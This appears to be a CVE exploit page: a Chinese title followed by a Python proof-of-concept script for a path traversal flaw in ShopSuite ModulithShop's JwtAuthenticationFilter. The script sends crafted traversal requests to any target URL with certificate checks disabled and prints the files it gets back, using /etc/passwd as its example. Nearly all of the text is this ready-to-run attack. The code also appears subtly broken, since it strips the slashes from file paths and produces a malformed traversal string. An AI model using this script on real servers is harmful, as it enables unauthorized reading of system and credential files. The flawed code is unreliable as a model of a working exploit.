CVE-2025-13246 | ShopSuite ModulithShop JwtAuthenticationFilter路径遍历漏洞

#!/usr/bin/env python3 """ CVE-2025-13246 Path Traversal PoC Target: shsuishang ShopSuite ModulithShop JwtAuthenticationFilter """ import requests import sys def exploit(target_url, file_path): """ Path traversal exploit for JwtAuthenticationFilter """ # Construct path traversal payload traversal = "../../.." + "../" * 5 target_file = f"/{file_path}".replace("/", "") # Build the malicious URL exploit_url = f"{target_url.rstrip('/')}/auth{traversal}{target_file}" print(f"[*] Target: {target_url}") print(f"[*] Exploit URL: {exploit_url}") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } try: response = requests.get(exploit_url, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] File Content:\n{response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <file_path>") print(f"Example: {sys.argv[0]} http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] exploit(target, file_to_read)